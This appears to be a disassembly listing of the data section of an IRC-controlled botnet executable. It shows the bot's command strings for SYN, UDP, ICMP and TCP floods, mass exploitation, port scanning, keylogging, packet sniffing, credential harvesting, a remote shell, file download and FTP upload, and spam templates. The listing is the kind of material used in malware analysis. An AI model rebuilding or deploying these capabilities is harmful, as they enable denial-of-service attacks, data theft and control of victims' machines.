; DATA XREF: sub_40CD3A+34DAo
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 54202002h, 72205043h
dd 72696465h, 20746365h, 61657263h, 20646574h
db 66h
aRomSDToSD_ db 'rom: %s:%d to: %s:%d.',0 ; DATA XREF: .text:off_42450Co
align 10h
unk_435260 db 2 ; DATA XREF: sub_40CD3A+343Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_4352B0 db 2 ; DATA XREF: sub_40CD3A+33E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CD3A+335Do
align 10h
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CD3A+3263o
align 10h
dword_435320 dd 54434101h, 204E4F49h, 17325h, 0 ; sub_40CD3A+421Ao
dword_435330 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+3161o
; sub_40CD3A+4D39o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0
align 10h
dword_435380 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+3108o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_40CD3A+30DDo
; sub_40CD3A+4CAFo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40CD3A+30D6o
; sub_40CD3A+4CA8o
align 10h
dword_435410 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+2F98o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_21 db ' Failed to start scan, no IP specified.',0
align 10h
dword_435460 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+2E52o
; sub_40CD3A+4AF3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 8
dword_4354B8 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2E0Co
dd 2029206Ch, 2BBBB02h
aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0
align 8
dword_435508 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2DB3o
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CD3A+2CFCo
align 10h
unk_435580 db 2 ; DATA XREF: sub_40CD3A+2CD2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_4355D0 db 2 ; DATA XREF: sub_40CD3A+2C79o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
dword_435630 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40F8E3o
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 10h
dword_435680 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2B8Do
dd 2029206Ch, 2BBBB02h
aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_4356D0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2B29o
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40CD3A+2B19o
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CD3A+2B12o
dword_435728 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2A7Do
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
align 8
dword_435768 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40F6CEo
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_4357A8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CD3A+298Do
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CD3A+2976o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CD3A+295Fo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CD3A+293Fo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CD3A+290Ao
align 4
dword_435824 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2884o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CD3A+2861o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CD3A+283Eo
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CD3A+2827o
align 10h
unk_435880 db 3 ; DATA XREF: sub_40CD3A+27D8o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ; »
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 8
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CD3A+2764o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: sub_40CD3A+26C8o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40CD3A+2679o
align 4
aUsa db 'usa',0 ; DATA XREF: sub_40CD3A+2662o
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CD3A+264Bo
align 4
aPg db 'pg',0 ; DATA XREF: sub_40CD3A+2634o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CD3A+261Do
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CD3A+2606o
align 4
aPu db 'pu',0 ; DATA XREF: sub_40CD3A+25EFo
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CD3A+25D8o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CD3A+25C1o
align 4
aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CD3A+2593o
align 4
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CD3A+256Ao
align 10h
aClone_action db 'clone.action',0 ; DATA XREF: sub_40CD3A+2553o
align 10h
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CD3A+253Co
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CD3A+2525o
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CD3A+250Eo
align 4
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CD3A+24F7o
align 4
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CD3A+24E0o
align 4
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CD3A+24C9o
align 4
aD1 db 'd1',0 ; DATA XREF: sub_40CD3A+24B2o
align 4
aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CD3A+249Bo
align 10h
aSy1 db 'sy1',0 ; DATA XREF: sub_40CD3A+2484o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CD3A+246Do
align 4
aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CD3A+2456o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CD3A+243Fo
align 4
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CD3A+2428o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40CD3A+2411o
aClone_make db 'clone.make',0 ; DATA XREF: sub_40CD3A+23FAo
align 4
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CD3A+23D1o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CD3A+23BAo
align 4
aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CD3A+23A3o
align 10h
aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CD3A+238Co
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CD3A+2375o
align 4
aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CD3A+235Eo
align 4
aBox_e db 'box.e',0 ; DATA XREF: sub_40CD3A+2347o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CD3A+2330o
aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CD3A+2319o
align 4
aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CD3A+2302o
align 4
aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CD3A+22EBo
align 10h
aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CD3A+22D4o
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CD3A+22BDo
align 4
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CD3A+22A6o
align 10h
aClone_p db 'clone.p',0 ; DATA XREF: sub_40CD3A+228Fo
aClone_part db 'clone.part',0 ; DATA XREF: sub_40CD3A+2278o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40CD3A+2261o
aClone_join db 'clone.join',0 ; DATA XREF: sub_40CD3A+224Ao
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CD3A+2233o
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CD3A+221Co
align 10h
aClone_m db 'clone.m',0 ; DATA XREF: sub_40CD3A+2205o
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CD3A+21EEo
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CD3A+21D7o
align 10h
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CD3A+21C0o
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CD3A+21A9o
align 4
aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CD3A+2192o
align 10h
aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CD3A+217Bo
align 4
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CD3A+2164o
align 4
aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CD3A+214Do
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CD3A+2136o
align 4
aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CD3A+211Fo
align 10h
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CD3A+2108o
aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CD3A+20F1o
align 4
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CD3A+20DAo
align 4
aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CD3A+20B1o
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CD3A+209Ao
dword_435BD8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40EDB9o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_435C08 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40EDB2o
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_435C3C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40ED67o
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_435C6C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+2026o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 10h
aUser db 'user',0 ; DATA XREF: sub_40CD3A+1F9Fo
align 4
dword_435CA8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40ECCEo
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_435CDC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+1F8Ao
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40CD3A+1F1Co
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40CD3A+1F01o
align 10h
aPause db 'pause',0 ; DATA XREF: sub_40CD3A+1ECBo
align 4
aStop db 'stop',0 ; DATA XREF: sub_40CD3A+1EB3o
align 10h
dword_435D30 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40EBE2o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_435D64 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+1E9Eo
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 10h
dword_435DA0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+1E14o
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: sub_40CD3A+1DF0o
align 8
unk_435DF8 db 2 ; DATA XREF: sub_40CD3A+1DBFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_25 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_435E48 db 2 ; DATA XREF: sub_40CD3A+1D66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_435E7C db 2 ; DATA XREF: sub_40CD3A+1CE5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 10h
unk_435EB0 db 2 ; DATA XREF: sub_40CD3A:loc_40EA09o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 10h
unk_435EF0 db 2 ; DATA XREF: sub_40CD3A+1CC5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 10h
aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CD3A+1C6Bo
align 4
unk_435F4C db 2 ; DATA XREF: sub_40CD3A:loc_40E998o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_435F88 db 2 ; DATA XREF: sub_40CD3A+1C54o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: sub_40CD3A+1C31o
; sub_40CD3A+1CA2o
unk_435FD8 db 2 ; DATA XREF: sub_40CD3A+1C11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_26 db 'Failed to start sniffer thread, error: <%d>.',0
align 4
unk_436028 db 2 ; DATA XREF: sub_40CD3A+1BB8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 4
unk_43606C db 2 ; DATA XREF: sub_40CD3A+1B54o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: sub_40CD3A+1B34o
; sub_40CD3A+1C80o
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40CD3A+1B1Fo
align 4
aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CD3A+1B08o
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CD3A+1AF1o
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CD3A+1ADAo
align 4
aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CD3A+1AC3o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CD3A+1A95o
; sub_40CD3A+1AACo
align 10h
aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CD3A+1A7Eo
align 4
aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CD3A+1A67o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CD3A+1A50o
align 4
aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CD3A+1A39o
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CD3A+1A22o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CD3A+1A0Bo
aBox_del db 'box.del',0 ; DATA XREF: sub_40CD3A+19F4o
aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CD3A+19DDo
align 10h
aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CD3A+19C6o
align 4
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CD3A+19AFo
align 4
aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CD3A+1998o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CD3A+1981o
align 4
aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CD3A+196Ao
align 10h
aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CD3A+1953o
aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CD3A+193Co
align 10h
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CD3A+1925o
align 10h
aBox_o db 'box.o',0 ; DATA XREF: sub_40CD3A+190Eo
align 4
aBox_open db 'box.open',0 ; DATA XREF: sub_40CD3A+18F7o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CD3A+18E0o
align 4
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CD3A+18C9o
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CD3A+18B2o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CD3A+189Bo
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40CD3A+1884o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CD3A+186Do
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CD3A+1856o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CD3A+183Fo
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CD3A+1828o
align 4
aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CD3A+1811o
aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CD3A+17FAo
align 4
aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CD3A+17E3o
align 4
aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CD3A+17CCo
align 10h
aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CD3A+17B5o
align 4
aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CD3A+179Eo
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CD3A+1787o
align 10h
aVall db 'vall',0 ; DATA XREF: sub_40CD3A+1761o
align 4
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CD3A+174Co
align 4
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CD3A+1737o
align 4
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CD3A+1722o
align 4
aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CD3A+170Do
align 4
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CD3A+16F8o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CD3A+16E3o
align 4
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CD3A+16CEo
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CD3A+16B9o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CD3A+16A4o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CD3A+168Fo
align 10h
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CD3A+167Ao
align 10h
aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CD3A+1665o
align 4
aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CD3A+1650o
dword_436314 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+1645o
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_40CD3A+1611o
; sub_414E97+46o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_40CD3A+1604o
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CD3A+15E2o
align 4
aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CD3A+15C9o
aCmd db '[CMD]',0 ; DATA XREF: sub_40CD3A+15BEo
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CD3A+15B9o
align 4
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CD3A+15A0o
align 4
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CD3A+158Bo
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CD3A+1576o
aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CD3A+1561o
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CD3A+154Co
align 4
aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CD3A+1537o
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CD3A+1522o
align 10h
aBox_up db 'box.up',0 ; DATA XREF: sub_40CD3A+150Do
align 4
aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CD3A+14F8o
align 4
aBox_key db 'box.key',0 ; DATA XREF: sub_40CD3A+14E3o
aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CD3A+14CEo
aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CD3A+14B9o
align 10h
aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CD3A+14A4o
align 4
aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CD3A+148Fo
aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CD3A+147Ao
align 10h
aBox_si db 'box.si',0 ; DATA XREF: sub_40CD3A+1465o
align 4
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CD3A+1450o
aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CD3A+143Bo
align 4
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CD3A+1426o
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CD3A+1411o
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CD3A+13FCo
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CD3A+13E7o
align 4
aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CD3A+13D2o
aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CD3A+13BDo
align 4
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CD3A+13A8o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CD3A+1393o
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CD3A+137Eo
align 4
dword_4364B4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+134Ao
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_4364EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+1343o
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CD3A+132Co
align 4
aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CD3A+1317o
align 10h
aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CD3A+1302o
align 4
